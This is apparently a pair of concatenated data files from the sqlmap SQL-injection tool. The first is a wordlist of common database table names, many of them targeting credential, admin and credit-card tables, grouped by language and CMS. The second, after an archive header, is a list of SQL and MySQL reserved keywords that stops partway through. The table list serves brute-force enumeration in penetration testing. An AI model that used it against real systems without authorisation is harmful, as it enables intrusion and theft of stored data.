tb_administrator tb_login tb_member tb_members tb_user tb_username tb_usernames tb_users tbl tbl_user tbl_users tbluser tbl_client tblclients tblclient usebb_members user_admin user_info user_list user_login user_logins user_names usercontrol userinfo userlogins username usernames vb_user vbulletin_session vbulletin_user voodoo_members webadmin webadmins webmaster webmasters webuser webusers x_admin xar_roles xoops_bannerclient xoops_users yabb_settings yabbse_settings ACT_INFO ActiveDataFeed CategoryGroup ChicksPass ClickTrack CountryCodes1 CustomNav DataFeedPerformance1 DataFeedPerformance2 DataFeedPerformance2_incoming DataFeedShowtag1 DataFeedShowtag2 DataFeedShowtag2_incoming dtproperties Event Event_backup Event_Category EventRedirect Events_new Genre JamPass MyTicketek MyTicketekArchive News Passwords by usage count PerfPassword PerfPasswordAllSelected Promotion ProxyDataFeedPerformance ProxyDataFeedShowtag ProxyPriceInfo Region SearchOptions Series Sheldonshows StateList States SubCategory Subjects Survey SurveyAnswer SurveyAnswerOpen SurveyQuestion SurveyRespondent sysconstraints syssegments tblRestrictedPasswords tblRestrictedShows Ticket System Acc Numbers TimeDiff Titles ToPacmail1 ToPacmail2 Total Members UserPreferences uvw_Category uvw_Pref uvw_Preferences Venue venues VenuesNew X_3945 stone list tblArtistCategory tblArtists tblConfigs tblLayouts tblLogBookAuthor tblLogBookEntry tblLogBookImages tblLogBookImport tblLogBookUser tblMails tblNewCategory tblNews tblOrders tblStoneCategory tblStones tblUser tblWishList VIEW1 viewLogBookEntry viewStoneArtist vwListAllAvailable CC_info CC_username cms_user cms_users cms_admin cms_admins user_name jos_user table_user mail bulletin cc_info login_name admuserinfo userlistuser_list SiteLogin Site_Login UserAdmin Admins Login Logins # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html account accnts accnt user_id members usrs usr2 accounts admin admins adminlogin auth authenticate authentication account access customers customer config conf cfg hash login logout loginout log member memberid password pass_hash pass passwd passw pword pwrd pwd store store1 store2 store3 store4 setting username name user user_name user_username uname user_uname usern user_usern un user_un usrnm user_usrnm usr usernm user_usernm user_nm user_password userpass user_pass user_pword user_passw user_pwrd user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) wsop Admin Config Settings tbl_admin tbl_admins tbl_member tbl_members tblservers id uid userid user_id auid adminpass LoginID FirstName LastName cms_member cms_members Webmaster Webuser tbl_tbadmin Adminlogin useraccount nguoidung quanly quantri dangnhap taikhoan taikhoanquantri useraccounts nguoidungs tbuser tblogin tbadmin tbaccount tbuseraccount tbnguoidung tbllogin tbladmin tblaccount tbluseraccount tblnguoidung tbusers tblogins tbadmins tbaccounts tbuseraccounts tbnguoidungs tbllogins tblaccounts tbluseraccounts tblnguoidungs tb_account tb_useraccount tb_nguoidung tbl_login tbl_account tbl_useraccount tbl_nguoidung tb_logins tb_accounts tb_useraccounts tb_nguoidungs tbl_logins tbl_accounts tbl_useraccounts tbl_nguoidungs tb_admins adminid admin_id adminuserid admin_userid AdminUID adminusername admin_username adminname admin_name usr usr_n usrname usr_name usrnam useradmin apwd adminpaw adminpwd admin_pwd admin_pass adminpassword admin_password admin_passwords usrpass usr_pass pass userpass user_pass dbaccount dbstudent dbstudents dbadmin useres dbuser dbusers personal dbpersoon list lists dblist userpassword user_password userpwd user_pwd SecurityLevel LastLoginDate LoginIP pword ad Konto Konten admin_psw verwalten verwaltet administrieren Verwaltung Administratoren adminpsw adminupass Kunst Artikel Autor Buch chat Kunden tblnews banner options general upload uploads file akhbar sb_host_admin Firma contenu Kontakt Kontakte Inhalt Kontrolle controle Kunde Tagebuch herunterladen dw glmm gly us stnuser stuser stusers stuseres dbstaff db_staff staff_db database databases test_user user_test test_users users_test Gruppe Gruppen guanli guanliyuan h_admin Bilder Mitgliederbereich key keywords Anmeldung Protokolle Mitglied Mitgliederliste Mitglieder mima mm mpassword musername Film Filme nc new Namen Auftrag Bestellungen Passwort power psw pswd pw pwd1 jhu webapps ASP Microsoft sing singup singin registeration reg registriert root roots Tagung Sitzungen Einstellungen Standorte Statistiken sys Systemadministratoren systime Tisch Tabellen Titel u u_n u_name u_p u_pass Benutzer user_pw Benutzerliste userpasswd usr_pw usrs Benutzername Benutzernamen vip Webbenutzer sb_host_adminActiveDataFeed Kategorie Land Suchoptionen Serie Staaten UnterkKlasse Umfrage TotalMembers Veranstaltungsort Veranstaltungsorte Ansicht1 utilisateur trier compte comptes administrer administrables administrateur administrateurs auteur livre entreprise concessionnaire concessionnaires telecharger groupe groupes liens connexion principal gestionnaire membre membres films nom noms ordre commandes partenaire partenaires passe asse enregistrs paramtres statistiques super tester utilisateurs intranet_users utlisateur Catogorie Pays Sujets Sondage Titres Lieux Affichage1Affichage1edu win pc windows mac edu bayviewpath bayview server slserver ColdFusion8 ColdFusion Cold Fusion8 Fusion ststaff sb_host_adminAffichage1 Affichage1 yhm yhmm Affichage1name sb_host_adminAffichage1name # site:jp TypesTab # site:it utenti categorie attivita comuni discipline Clienti gws_news SGA_XPLAN_TPL_V$SQL_PLAN emu_services nlconfig oil_bfsurvey_pro oil_users oil_menu_types oil_polls Accounts oil_core_log_searches SGA_XPLAN_TPL_V$SQL_PLAN_SALL oil_phocadownload_categories gws_page oil_bfsurveypro_choices oil_poll_data oil_poll_date argomento oil_modules ruolo oil_contact_details emu_profiles user_connection oil_poll_menu jos_jf_tableinfo oil_templates_menu oil_messages_cfg oil_biolmed_entity_types oil_phocagallery_votes oil_core_acl_aro regioni oil_modules_menu dati gws_admin oil_phocagallery_user_category articoli oil_content_frontpage cron_send oil_biolmed_measures comune SGA_XPLAN_TPL_DBA_TABLES esame oil_session oil_phocadownload_licenses oil_weblinks oil_messages oil_phocagallery_votes_statistics dcerpcbinds oil_jf_content SGA_XPLAN_TPL_DBA_CONS_COLUMNS SGA_XPLAN_TPL_DBA_IND_COLUMNS gruppi Articoli gws_banner gws_category soraldo_ele_tipo db_version SGA_XPLAN_TPL_DBA_TAB_COLS oil_biolmed_thesis jos_languages mlmail SGA_XPLAN_TPL_V$SQLTEXT_NL oil_bannertrack oil_core_log_items oil_rokversions oil_bfsurveypro_34 oil_bfsurveypro_35 oil_google_destinations gws_product oil_jf_tableinfo oil_phocadownload oil_biolmed_blocks oil_bfsurvey_pro_example oil_bfsurvey_pro_categories oil_bannerclient oil_core_acl_aro_sections SGA_XPLAN_TPL_V$SQL oil_biolmed_land connections not_sent_mails sga_xplan_test oil_languages utente documento gws_purchase oil_plugins oil_phocagallery oil_menu oil_biolmed_measures_by_entity_types offers anagrafica gws_text oil_groups oil_content_rating sent_mails oil_banner oil_google gws_jobs eventi mlattach oil_migration_backlinks oil_phocagallery_categories downloads mlgroup oil_sections decodifica_tabelle oil_phocagallery_img_votes oil_phocagallery_img_votes_statistics oil_dbcache oil_content p0fs oil_biolmed_entity oil_rokdownloads oil_core_acl_groups_aro_map gws_client decodifica_campi oil_phocagallery_comments oil_categories oil_newsfeeds oil_biolmed_measurements oil_phocadownload_user_stat oil_core_acl_aro_groups SGA_XPLAN_TPL_V$SQL_PLAN_STAT oil_core_acl_aro_map dcerpcrequests oil_phocadownload_sections oil_components discipline_utenti jos_jf_content oil_phocadownload_settings SGA_XPLAN_TPL_DBA_CONSTRAINTS oil_biolmed_technician oil_stats_agents SGA_XPLAN_TPL_DBA_INDEXES # site:fr Avion departement Compagnie produits spip_auteurs BDDJoueurs_alliance spip_articles spip_syndic pays spip_auteurs_rubriques spip_mots_forum spip_signatures diplomatie spip_mots_breves spip_forum spip_auteurs_messages spip_documents spip_messages spip_index_dico spip_meta spip_petitions spip_mots_syndic spip_types_documents etudiant spip_groupes_mots spip_documents_articles spip_rubriques spip_breves agenda BDDJoueurs_colonies spip_mots_articles spip_mots spip_syndic_articles spip_auteurs_articles spip_mots_rubriques BDDJoueurs modulephoto nuke_cities forums nuke_banner_positions nuke_subscriptions nuke_downloads_categories nuke_journal_comments nuke_bbranks spip_documents_rubriques nuke_confirm service nuke_bbthemes_name nuke_autonews nuke_bbdisallow nuke_reviews_add EDITEUR nuke_links_newlink nuke_faqcategories etudiants nuke_stats_year nuke_bbsmilies spip_mots_documents spip_documents_breves nuke_bbsearch_results post nuke_users_temp nuke_blocks nuke_reviews_main themes nuke_modules nuke_banner_plans nuke_links_votedata spip_referers inscription BONUS nuke_links_editorials nuke_topics nuke_bbprivmsgs_text chatbox nuke_referer nuke_bbauth_access nuke_journal_stats nuke_faqanswer nuke_banner_terms message nuke_bbvote_voters nuke_pages_categories spip_index modulerubriquephoto spip_visites Role nuke_public_messages actualites nuke_reviews_comments nuke_downloads_votedata nuke_headlines nuke_downloads_editorials enseignant modulemessage nuke_session nuke_queue nuke_main nuke_bbposts spip_ortho_cache Enseignant nuke_downloads_newdownload sons plurielanim nuke_bbforums nuke_bbsearch_wordmatch nuke_bbvote_results nuke_stats_date nuke_bbwords nuke_bbcategories typecompte nuke_stories nuke_stats_month personne etablissement nuke_counter indexation nuke_poll_desc nuke_links_links nuke_bbtopics Utilisateurs nuke_related nuke_downloads_downloads spip_versions_fragments nuke_bbgroups nuke_bbtopics_watch nuke_bbuser_group nuke_downloads_modrequest spip_versions Joueur nuke_bbsessions nuke_links_categories directeur Etudiant nuke_bbposts_text nuked_page Personne nuke_bbbanlist Parametre nuke_pollcomments nuke_bbforum_prune nuke_pages nuke_links_modrequest nuke_stats_hour nuke_groups_points nuke_reviews nuke_bbthemes modulemailling agence nuke_encyclopedia nuke_bbsearch_wordlist nuke_message Equipe nuke_comments nuke_poll_check nuke_journal nuke_stories_cat nuke_banner nuke_groups spip_visites_articles nuke_encyclopedia_text spip_referers_articles nuke_bbvote_desc Artiste nuke_poll_data nuke_bbprivmsgs spip_ortho_dico spip_caches # site:ru guestbook binn_forum_settings binn_forms_templ binn_catprops currency binn_imagelib binn_news phpshop_opros_categories binn_articles_messages binn_cache binn_bann_temps binn_forum_threads voting binn_update terms binn_site_users_rights binn_vote_options binn_texts binn_forum_temps binn_order_temps binn_basket binn_order binn_system_log binn_vote_results binn_articles phpshop_categories binn_maillist_temps binn_system_messages binn_articles_temps binn_search_temps banners binn_imagelib_templ binn_faq binn_bann phpshop_news binn_menu_templ binn_maillist_settings binn_docs_temps binn_bann_restricted phpshop_system binn_calendar_temps binn_forum_posts binn_cform_settings phpshop_baners phpshop_menu binn_forms_fields binn_cform_list binn_vote phpshop_links mapdata binn_submit_timeout binn_forum_themes_temps binn_order_elems binn_templates binn_cform binn_catalog_template binn_ct_templ_elems binn_template_elems binn_rubrikator_tlevel binn_settings binn_pages binn_users binn_categs binn_page_elems binn_site_users_temps binn_vote_temps binn_rubrikator_temps binn_faq_temps binn_sprav setup_ binn_basket_templ binn_forum_maillist binn_news_temps phpshop_users binn_catlinks binn_sprav_temps binn_maillist_sent binn_forms_templ_elems jubjub_errors binn_maillist binn_catrights binn_docs binn_bann_pages binn_ct_templ binn_menu binn_user_rights binn_cform_textarea binn_catalog_fields vykachka binn_menu_tlevel phpshop_opros binn_form39 binn_site_users binn_path_temps order_item # site:de tt_content kunde medien Mitarbeiter fe_users dwp_wetter dwp_popup voraussetzen dwp_foto_pictures dwp_karte_speisen dwp_news_kat dwp_structur dwp_foto_album dwp_karte_kat bestellung dwp_content be_users Vorlesungen dwp_content_pic dwp_link_entries dwp_ecard_album persons dwp_buchung_hotel dwp_link_kat dwp_news_absatz Assistenten Professoren Studenten dwp_ecard_pictures lieferant dwp_bewertung mitarbeiter gruppe dwp_news_head wp_post2cat phpbb_forum_prune crops mein_doc artikel_kategorie kategorien rel_person_paper tx_tcdirectmail_bounceaccount Akten skins riddles ci_slogans phpbb_vote_voters account_map_event roles stellen meetings special_category rel_paper_topic kbase_category attribut phpbb_auth_access zo_gruppe_stelle zo_kontakt_stelle hoeren shop_settings tutorial motd_coding artikel_variationsgruppen dwp_kontakt papers gesuche zahlung_weitere ts2_server_privileges artikel_variationen artikel_optionen chessgames portale products_images phpbb_privmsgs_text kurs KUNDE wp_linkcategories tx_tcdirectmail_targets tx_templavoila_datastructure Adresse bestellung_kunde rel_person_topic css_file visual account_multi Adressen phpbb_words phpbb_disallow kauf_artikel music_association phpbb_banlist dokumente greylist backup map_event kreditkarte house_extensions address_book crops_tpl phpbb_vote_desc versandkostenpreise pruefen gruppen vertreter phpbb_confirm verkaeufer be_groups rel_person_organization phpbb_privmsgs buecher kategorie phpbb_sessions phpbb_search_results studierende user_online_newyear hersteller object_link adresse address_format newsletter_recipients PERMISSIONS user_uploads_pictures festplatte veranstalter mein_doc_h tx_tcdirectmail_clicklinks phpbb_vote_results phpbb_topics_watch tx_tcdirectmail_lock account_map standort gd delete_reasons tx_tcdirectmail_sentlog valhalla vis_typen counter kbase_main music_items kauf payment_qenta seite_abschnitt trivia mehrwertsteuer massenmail klassen hilfe geraet tt_address dg_books portal_access orders_recalculate artikel_bestellung kontakt chesshistory notizen seite_layout virgator_table wp_categories chessmessages # site:br endereco pessoa usuarios estado pedidos CLIENTE itens telefone empresa PRODUTO categoria cidades clientes produtos municipio cliente LT_PROCEDIMENTO calendario D_US_FAVORITOS moradia pessoa_telefone contador aidf resumo add_irm M_ESQUEMA_PERMISSAO duvida LT_METODO_ATUALIZACAO M_RELATORIOS LT_SERIE estados LT_OBJETO cidade declaracaonf especieaidf S_SESSOES D_PR_HONORARIOS empresa_atividade correcaostrategy jos_docman_groups D_US_RECENTE notafiscal solicitacao pessoa_endereco atividade M_FATURAS D_PR_APENSOS agencia LT_LANCAMENTO D_US_AREA_DE_TRABALHO D_FA_ITENS dist_universidade multastrategy_faixamulta LT_TIPO_DE_ACAO D_PR_EVENTOS D_FA_PARCELAS tipodeducao D_PR_PARCELAMENTO sala D_US_EQUIPES_DO_USUARIO cidadao documentos S_GLOBAL M_CADASTRO_GERAL jos_docman_licenses guiaavulsa solicitacaosenha M_CUBOS promocoes grau_escolaridade imagens multastrategy D_PR_PARTES processo gestor imagem categorias LT_CLASSE_FORO jurosstrategy deducao S_PARAMETROS notafiscal_deducao CAIXA foto M_FERIADOS S_ORIGENS guiaavulsa_itemguiaavulsa situacaoitem notafiscal_itemnotafiscal cotacao papel M_EMAIL_FILA D_PR_OBJETOS dados_prefeitura S_LOG LT_FASE D_PR_ADVOGADOS M_USUARIO projeto LT_SITUACAO D_PR_CUSTAS grupoatividade LT_NATUREZA membros_familia instituicao emprestimos itemguiaavulsa D_EM_DESTINATARIO LT_GRUPO S_SEQUENCIAS itemnotafiscal disciplina jos_docman autorizacaonfe tipo_bolsa estoque LT_JURISDICAO serie sse_estudante LT_FOROS perfil despesa_familia noticias LT_GARANTIA M_ESQUEMA_HORARIO MM_NOTIFICACOES_DO_PROCESSO jos_jce_plugins grau_parentesco D_PR_GARANTIAS M_SERVICOS_PRESTADOS LT_CATEGORIA faixamulta encerramento M_PROCESSOS dados_familia MM_USUARIOS_DO_PROCESSO LT_ENCERRAMENTO LT_DECISAO indice contador_empresa sse_familia D_SE_INDICES cursos estado_civil dados_estudante LT_EQUIPES LT_PROGNOSTICO LT_EVENTO jos_jce_groups D_PR_DOCUMENTOS D_PR_DESDOBRAMENTOS logradouro despesa_aluno fiscal LT_CUSTOM4 convite manutencao LT_CUSTOM1 LT_CUSTOM2 LT_CUSTOM3 # site:es jos_respuestas DEPARTAMENTO EMPLEADO TRABAJA_EN DEPENDIENTE LOCALIZACIONES_DEPT PROYECTO lineas_fac pueblos NUEVOS CENTROS BANCOS PERSONAL SUCURSALES PRODUCTOS provincias jos_estadisticas USUARIO ALUM MOVIMIENTOS ACTOR nuke_gallery_rate_check ANTIGUOS CUENTAS vendedores CLIENTES articulos DEPARTAMENTOS PROFESORES jos_preguntas PEDIDOS EMPLEADOS nuke_gallery_pictures_newpicture Books grupo facturas aclaraciones preguntas personas estadisticas # site:cn url cdb_adminactions BlockInfo cdb_attachtypes cdb_attachments mymps_lifebox cdb_buddys mymps_payapi LastDate cdb_medals mymps_payrecord cdb_forumlinks cdb_adminnotes cdb_admingroups cdb_creditslog stkWeight mymps_checkanswer cdb_announcements cdb_bbcodes cdb_advertisements cdb_memberfields mymps_telephone cdb_forums cdb_forumfields cdb_favorites cdb_banned cdb_crons cdb_access cdb_invites sysmergeschemaarticles CodeRuleType cdb_membermagics cdb_imagetypes cdb_memberspaces cdb_campaigns pw_wordfb cdb_paymentlog cdb_adminsessions pw_adminset seen t_snap MSmerge_altsyncpartners zl_deeds pw_styles pw_announce cdb_pluginvars pw_smiles cdb_modworks ncat mymps_member_tpl pw_threads zl_admin cdb_onlinetime cdb_mythreads cdb_members spt_datatype_info mymps_certification mymps_badwords seentype mymps_cache zl_article spt_datatype_info_ext cdb_debateposts mymps_corp mymps_member_album mgbliuyan pw_schcache zl_finance pw_banuser mymps_news cdb_pluginhooks mymps_member_docutype wp1_categories cdb_magicmarket MSmerge_errorlineage cdb_activities zl_baoming cdb_orders ad_ad cdb_pms cdb_magics cdb_itempool phpcms_announce pw_actions pw_msg mymps_news_img cdb_debates cdb_magiclog pw_forums mymps_channel cdb_polls t_stat pw_attachs cdb_plugins pw_membercredit cdb_posts mymps_member_category cdb_activityapplies zl_media acctmanager pw_usergroups cdb_faqs cdb_onlinelist pw_hack mymps_member_comment Market mymps_config mymps_mail_template mymps_advertisement MSrepl_identity_range pw_favors mymps_crons pw_config pw_credits cdb_failedlogins mymps_member_docu pw_posts cdb_attachpaymentlog cdb_myposts cdb_polloptions wp1_comments cdb_caches pw_members mymps_upload spt_provider_types pw_sharelinks pw_tmsgs pw_polls cdb_moderators pw_bbsinfo aliasregex userfiles acctmanager2 cdb_pmsearchindex mymps_news_focus cdb_forumrecommend publishers zl_advertisement guanggaotp pw_memberinfo aliastype mymps_mail_sendlist mymps_navurl # site:tr kullanici kullanicilar yonetici yoneticiler adres adresler yayincilar yayinci urun urunler kategori kategoriler ulke ulkeler siparis siparisler bayi bayiler stok reklam reklamlar site siteler sayfa sayfalar icerik icerikler yazi yazilar genel istatistik istatistikler duyuru duyurular haber haberler komisyon ucret ucretler bilgi basvuru basvurular kontak kontaklar kisi kisiler uye uyeler kayıt kayıtlar tel telefon telefonlar numaralar numara kart kartlar kredi krediler kredikartı fiyat fiyatlar odeme odemeler kategoriler tbl_Uye xml_kategoriler tbl_siparis tbl_googlemap tbl_ilce tbl_yardim tbl_Resim tbl_anket tbl_Rapor tbl_statsvisit tbl_ticket tbl_Cesit tbl_xml tbl_Cinsiyet xml_urunler_temp tbl_takvim tbl_altkategori tbl_mesaj tbl_Haber tbl_AdresTemp tbl_Firma tbl_Medya xml_urunlerbirim tbl_Yardim tbl_medya tbl_Video xml_markalar_transfer tbl_adrestemp tbl_online tbl_sehir tbl_resim tbl_Gorsel tbl_doviz tbl_gorsel tbl_kampanya tbl_Blog tbl_Banners tbl_koleksiyon tbl_Galeri tbl_Kampanya tbl_Favori tbl_sss tbl_Banner tbl_Faq xml_markalar_temp tbl_faq tbl_Personel tbl_Seo tbl_adres tbl_ayar tbl_metin tbl_AltKategori tbl_kategori tbl_Marka tbl_blogkategori tbl_ulke tbl_sepetold tbl_yorum tbl_Fiyat tbl_Reklam tbl_Kategori tbl_Yorum tbl_semt tbl_Tedarikci xml_kampanyakategori tbl_ozelgun tbl_uyexml tbl_rapor tbl_seo tbl_Indirim tbl_Ilce tbl_bulten tbl_video tbl_Ayar tbl_fatura tbl_cinsiyet tbl_reklam tbl_sliders tbl_KDV tbl_uye_img tbl_siparisid tbl_BlogKategori tbl_Yonetici tbl_kdv tbl_Online tbl_temsilci tbl_Dil tbl_banners tbl_Mesaj tbl_Logs tbl_logs tbl_fiyat tbl_SSS tbl_Puan tbl_kargo tbl_Statsvisit tbl_Koleksiyon tbl_dil tbl_Sepetold tbl_Fatura tbl_yonetici tbl_Yazilar tbl_Temsilci tbl_Kargo tbl_cesit tbl_uye tbl_haber tbl_SiparisID tbl_Adres tbl_Ozelgun tbl_banka tbl_Videogaleri tbl_galeri tbl_videogaleri xml_urunresimleri tbl_urun tbl_Ticket tbl_yazilar tbl_Ulke tbl_Urun tbl_renk tbl_Harita tbl_Sepet tbl_Sehir tbl_Uye_Img tbl_Semt tbl_indirim xml_kampanyakategori_transfer tbl_Takvim tbl_blog tbl_Sliders tbl_Renk tbl_UyeXML tbl_tedarikci tbl_Fotogaleri tbl_Doviz tbl_Anket tbl_Banka tbl_Metin tbl_XML tbl_firma tbl_harita tbl_banner tbl_sepet tbl_fotogaleri tbl_marka tbl_Siparis tbl_personel tbl_puan tbl_Bulten tbl_favori tbl_onlineusers # List provided by Pedrito Perez (0ark1ang3l@gmail.com) adminstbl admintbl affiliateUsers hsa_user tblmanager tblmanagers tblproduct tblproducts tuser tusers userstbl usertbl # WebGoat user_data # https://laurent22.github.io/so-injections/ accounts admin baza_site benutzer category comments company credentials Customer customers data details dhruv_users dt_tb employees events forsale friends giorni images info items kontabankowe login logs markers members messages orders order_table photos player players points register reports rooms shells signup songs student students table table2 tbl_images tblproduct testv2 tickets topicinfo trabajo user user_auth userinfo user_info userregister users usuarios utenti wm_products wp_payout_history zamowienia # https://deliciousbrains.com/tour-wordpress-database/ wp_blogmeta wp_blogs wp_blog_versions wp_commentmeta wp_comments wp_links wp_options wp_postmeta wp_posts wp_registration_log wp_signups wp_site wp_sitemeta wp_termmeta wp_term_relationships wp_terms wp_term_taxonomy wp_usermeta wp_users # https://docs.joomla.org/Tables assets bannerclient banner bannertrack categories components contact_details content_frontpage content_rating content core_acl_aro_groups core_acl_aro_map core_acl_aro_sections core_acl_aro core_acl_groups_aro_map core_log_items core_log_searches extensions groups languages menu menu_types messages_cfg messages migration_backlinks modules_menu modules newsfeeds plugins poll_data poll_date poll_menu polls redirect_links Schemas sections session stats_agents templates_menu template_styles update_categories update_sites_extensions update_sites updates usergroups user_profiles users user_usergroup_map viewlevels weblinks # site:nl gebruikers # site:cn yonghu sqlmap-1.9.6/data/txt/keywords.txt000066400000000000000000000344651502261744200172030ustar00rootroot00000000000000# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) ABSOLUTE ACTION ADD ALL ALLOCATE ALTER AND ANY ARE AS ASC ASSERTION AT AUTHORIZATION AVG BEGIN BETWEEN BIT BIT_LENGTH BOTH BY CALL CASCADE CASCADED CASE CAST CATALOG CHAR CHAR_LENGTH CHARACTER CHARACTER_LENGTH CHECK CLOSE COALESCE COLLATE COLLATION COLUMN COMMIT CONDITION CONNECT CONNECTION CONSTRAINT CONSTRAINTS CONTAINS CONTINUE CONVERT CORRESPONDING COUNT CREATE CROSS CURRENT CURRENT_DATE CURRENT_PATH CURRENT_TIME CURRENT_TIMESTAMP CURRENT_USER CURSOR DATE DAY DEALLOCATE DEC DECIMAL DECLARE DEFAULT DEFERRABLE DEFERRED DELETE DESC DESCRIBE DESCRIPTOR DETERMINISTIC DIAGNOSTICS DISCONNECT DISTINCT DO DOMAIN DOUBLE DROP ELSE ELSEIF END ESCAPE EXCEPT EXCEPTION EXEC EXECUTE EXISTS EXIT EXTERNAL EXTRACT FALSE FETCH FIRST FLOAT FOR FOREIGN FOUND FROM FULL FUNCTION GET GLOBAL GO GOTO GRANT GROUP HANDLER HAVING HOUR IDENTITY IF IMMEDIATE IN INDICATOR INITIALLY INNER INOUT INPUT INSENSITIVE INSERT INT INTEGER INTERSECT INTERVAL INTO IS ISOLATION JOIN KEY LANGUAGE LAST LEADING LEAVE LEFT LEVEL LIKE LOCAL LOOP LOWER MATCH MAX MIN MINUTE MODULE MONTH NAMES NATIONAL NATURAL NCHAR NEXT NO NOT NULL NULLIF NUMERIC OCTET_LENGTH OF ON ONLY OPEN OPTION OR ORDER OUT OUTER OUTPUT OVERLAPS PAD PARAMETER PARTIAL PATH POSITION PRECISION PREPARE PRESERVE PRIMARY PRIOR PRIVILEGES PROCEDURE READ REAL REFERENCES RELATIVE REPEAT RESIGNAL RESTRICT RETURN RETURNS REVOKE RIGHT ROLLBACK ROUTINE ROWS SCHEMA SCROLL SECOND SECTION SELECT SESSION SESSION_USER SET SIGNAL SIZE SMALLINT SOME SPACE SPECIFIC SQL SQLCODE SQLERROR SQLEXCEPTION SQLSTATE SQLWARNING SUBSTRING SUM SYSTEM_USER TABLE TEMPORARY THEN TIME TIMESTAMP TIMEZONE_HOUR TIMEZONE_MINUTE TO TRAILING TRANSACTION TRANSLATE TRANSLATION TRIM TRUE UNDO UNION UNIQUE UNKNOWN UNTIL UPDATE UPPER USAGE USER USING VALUE VALUES VARCHAR VARYING VIEW WHEN WHENEVER WHERE WHILE WITH WORK WRITE YEAR ZONE # MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html) ADD ALL ALTER ANALYZE AND ASASC ASENSITIVE BEFORE BETWEEN BIGINT BINARYBLOB BOTH BY CALL CASCADE CASECHANGE CAST CHAR CHARACTER CHECK COLLATE COLUMN CONCAT CONDITIONCONSTRAINT CONTINUE CONVERT CREATE CROSS CURRENT_DATE CURRENT_TIMECURRENT_TIMESTAMP CURRENT_USER CURSOR DATABASE DATABASES DAY_HOUR DAY_MICROSECONDDAY_MINUTE DAY_SECOND DEC DECIMAL DECLARE DEFAULTDELAYED DELETE DESC DESCRIBE DETERMINISTIC DISTINCTDISTINCTROW DIV DOUBLE DROP DUAL EACH ELSEELSEIF ENCLOSED ESCAPED EXISTS EXIT EXPLAIN FALSEFETCH FLOAT FLOAT4 FLOAT8 FOR FORCE FOREIGNFROM FULLTEXT GRANT GROUP HAVING HIGH_PRIORITYHOUR_MICROSECOND HOUR_MINUTE HOUR_SECOND IF IFNULL IGNORE ININDEX INFILE INNER INOUT INSENSITIVE INSERT INTINT1 INT2 INT3 INT4 INT8 INTEGER INTERVALINTO IS ISNULL ITERATE JOIN KEY KEYS KILLLEADING LEAVE LEFT LIKE LIMIT LINESLOAD LOCALTIME LOCALTIMESTAMP LOCK LONG LONGBLOBLONGTEXT LOOP LOW_PRIORITY MATCH MEDIUMBLOB MEDIUMINT MEDIUMTEXTMIDDLEINT MINUTE_MICROSECOND MINUTE_SECOND MOD MODIFIES NATURAL NOTNO_WRITE_TO_BINLOG NULL NUMERIC ON OPTIMIZE OPTION OPTIONALLYOR ORDER OUT OUTER OUTFILE PRECISIONPRIMARY PROCEDURE PURGE READ READS REALREFERENCES REGEXP RELEASE RENAME REPEAT REPLACE REQUIRERESTRICT RETURN REVOKE RIGHT RLIKE SCHEMA SCHEMASSECOND_MICROSECOND SELECT SENSITIVE SEPARATOR SET SHOW SMALLINTSONAME SPATIAL SPECIFIC SQL SQLEXCEPTION SQLSTATESQLWARNING SQL_BIG_RESULT SQL_CALC_FOUND_ROWS SQL_SMALL_RESULT SSL STARTINGSTRAIGHT_JOIN TABLE TERMINATED THEN TINYBLOB TINYINT TINYTEXTTO TRAILING TRIGGER TRUE UNDO UNION UNIQUEUNLOCK UNSIGNED UPDATE USAGE USE USING UTC_DATEUTC_TIME UTC_TIMESTAMP VALUES VARBINARY VARCHAR VARCHARACTERVARYING VERSION WHEN WHERE WHILE WITH WRITEXOR YEAR_MONTH ZEROFILL # MySQL 8.0 keywords (reference: https://dev.mysql.com/doc/refman/8.0/en/keywords.html) ACCESSIBLE ACCOUNT ACTION ACTIVE ADD ADMIN AFTER AGAINST AGGREGATE ALGORITHM ALL ALTER ALWAYS ANALYSE ANALYZE AND ANY ARRAY AS ASC ASCII ASENSITIVE AT ATTRIBUTE AUTHENTICATION AUTOEXTEND_SIZE AUTO_INCREMENT AVG AVG_ROW_LENGTH BACKUP BEFORE BEGIN BETWEEN BIGINT BINARY BINLOG BIT BLOB BLOCK BOOL BOOLEAN BOTH BTREE BUCKETS BULK BY BYTE CACHE CALL CASCADE CASCADED CASE CATALOG_NAME CHAIN CHALLENGE_RESPONSE CHANGE CHANGED CHANNEL CHAR CHARACTER CHARSET CHECK CHECKSUM CIPHER CLASS_ORIGIN CLIENT CLONE CLOSE COALESCE CODE COLLATE COLLATION COLUMN COLUMNS COLUMN_FORMAT COLUMN_NAME COMMENT COMMIT COMMITTED COMPACT COMPLETION COMPONENT COMPRESSED COMPRESSION CONCURRENT CONDITION CONNECTION CONSISTENT CONSTRAINT CONSTRAINT_CATALOG CONSTRAINT_NAME CONSTRAINT_SCHEMA CONTAINS CONTEXT CONTINUE CONVERT CPU CREATE CROSS CUBE CUME_DIST CURRENT CURRENT_DATE CURRENT_TIME CURRENT_TIMESTAMP CURRENT_USER CURSOR CURSOR_NAME DATA DATABASE DATABASES DATAFILE DATE DATETIME DAY DAY_HOUR DAY_MICROSECOND DAY_MINUTE DAY_SECOND DEALLOCATE DEC DECIMAL DECLARE DEFAULT DEFAULT_AUTH DEFINER DEFINITION DELAYED DELAY_KEY_WRITE DELETE DENSE_RANK DESC DESCRIBE DESCRIPTION DES_KEY_FILE DETERMINISTIC DIAGNOSTICS DIRECTORY DISABLE DISCARD DISK DISTINCT DISTINCTROW DIV DO DOUBLE DROP DUAL DUMPFILE DUPLICATE DYNAMIC EACH ELSE ELSEIF EMPTY ENABLE ENCLOSED ENCRYPTION END ENDS ENFORCED ENGINE ENGINES ENGINE_ATTRIBUTE ENUM ERROR ERRORS ESCAPE ESCAPED EVENT EVENTS EVERY EXCEPT EXCHANGE EXCLUDE EXECUTE EXISTS EXIT EXPANSION EXPIRE EXPLAIN EXPORT EXTENDED EXTENT_SIZE FACTOR FAILED_LOGIN_ATTEMPTS FALSE FAST FAULTS FETCH FIELDS FILE FILE_BLOCK_SIZE FILTER FINISH FIRST FIRST_VALUE FIXED FLOAT FLOAT4 FLOAT8 FLUSH FOLLOWING FOLLOWS FOR FORCE FOREIGN FORMAT FOUND FROM FULL FULLTEXT FUNCTION GENERAL GENERATE GENERATED GEOMCOLLECTION GEOMETRY 